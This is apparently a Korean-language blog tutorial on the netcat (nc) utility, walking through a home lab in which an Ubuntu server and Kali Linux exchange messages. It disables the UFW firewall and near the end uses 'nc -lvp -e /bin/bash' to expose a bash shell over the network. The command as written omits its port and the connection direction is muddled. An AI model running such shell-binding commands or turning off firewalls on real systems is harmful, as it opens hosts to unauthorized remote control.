본문 바로가기

기타

NC (NetCat) 명령어 사용하기

728x90

NetCat(넷캣)?

넷캣은 TCP, UDP를 사용하여 네트워크 연결을 하여 읽기 쓰기를 해주는 유틸리티 프로그램입니다.

NetCat, NC, 넷캣과 같은 이름으로 불리고 있습니다.

 

https://en.wikipedia.org/wiki/Netcat

 

netcat - Wikipedia

netcat (often abbreviated to nc) is a computer networking utility for reading from and writing to network connections using TCP or UDP. The command is designed to be a dependable back-end that can be used directly or easily driven by other programs and scr

en.wikipedia.org

여기에서는 넷캣을 활용하여 이전에 설치해 놓은 우분투 서버에 접속을 해보도록 하겠습니다.

 

 

먼저 우분투 서버를 켜줍니다.

 

먼저 UFW 방화벽을 꺼줘야 합니다.

 

혹시 방화벽 설정이 되어 있다면 NC 접속이 안되기 때문에 먼저 방화벽 상태부터 확인해 줍니다.

 

ufw status

이 명령어로 방화벽 상태를 볼 수 있는데, 현재 방화벽이 켜져 있는 상태이므로 방화벽을 꺼줘야 합니다.

 

 

ufw disable
ufw status

원하는 방화벽 포트를 뚫는 방법도 있겠지만, 여기서는 잠시 비활성화시켜 놓겠습니다.

 

disable 명령어로 방화벽을 비활성화 한 뒤 status 상태정보를 보면 비활성으로 나와 있습니다.

다시 활성화시키려면enable 명령어를 치시면 됩니다.

 

 

 

이제 nc 명령어를 이용하여 우분투 서버로 접속할 수 있게 해 줍니다.

nc -lvp 4444 

옵션 설명

 

-l(Listen mode): 연결을 할 수 있게 계속 요청을 듣고 있게 해주는 옵션

-v(Verbose): 상세 정보를 보여주는 옵션

-p(port) : 4444 포트

 

간단하게 요약하자면, 4444번 포트로 연결을 기다리고 있게 해 줍니다.

 

 

이제 칼리 리눅스에서 우분투 서버로 접속을 해봅니다.

 

 

 

칼리에서 접속
우분투 화면

 

nc 192.168.196.128 4444
nc 우분투 아이피 포트번호

자신의 칼리 리눅스에서 nc 접속을 한 뒤 "hi"라고 보내면, 우분투 서버에서 메시지를 볼 수 있습니다.

 

 

 

 

 

이번에는 반대로 리눅스 -> 칼리 접속해보겠습니다.

 

nc -lvp -e /bin/bash

이제 칼리 리눅스로 192.168.196.132 아이피를 이용하면 접속할 수 있습니다.

 

 

 

nc 192.168.196.132 4444
nc 칼리 리눅스 아이피 포트번호

우분투에서 칼리 리눅스로 접속한 화면입니다.

 

접속한 뒤 ls 명령어를 치게 되면 칼리 리눅스의 bash쉘로 접근을 하여 사용할 수 있게 됩니다.

 

 

728x90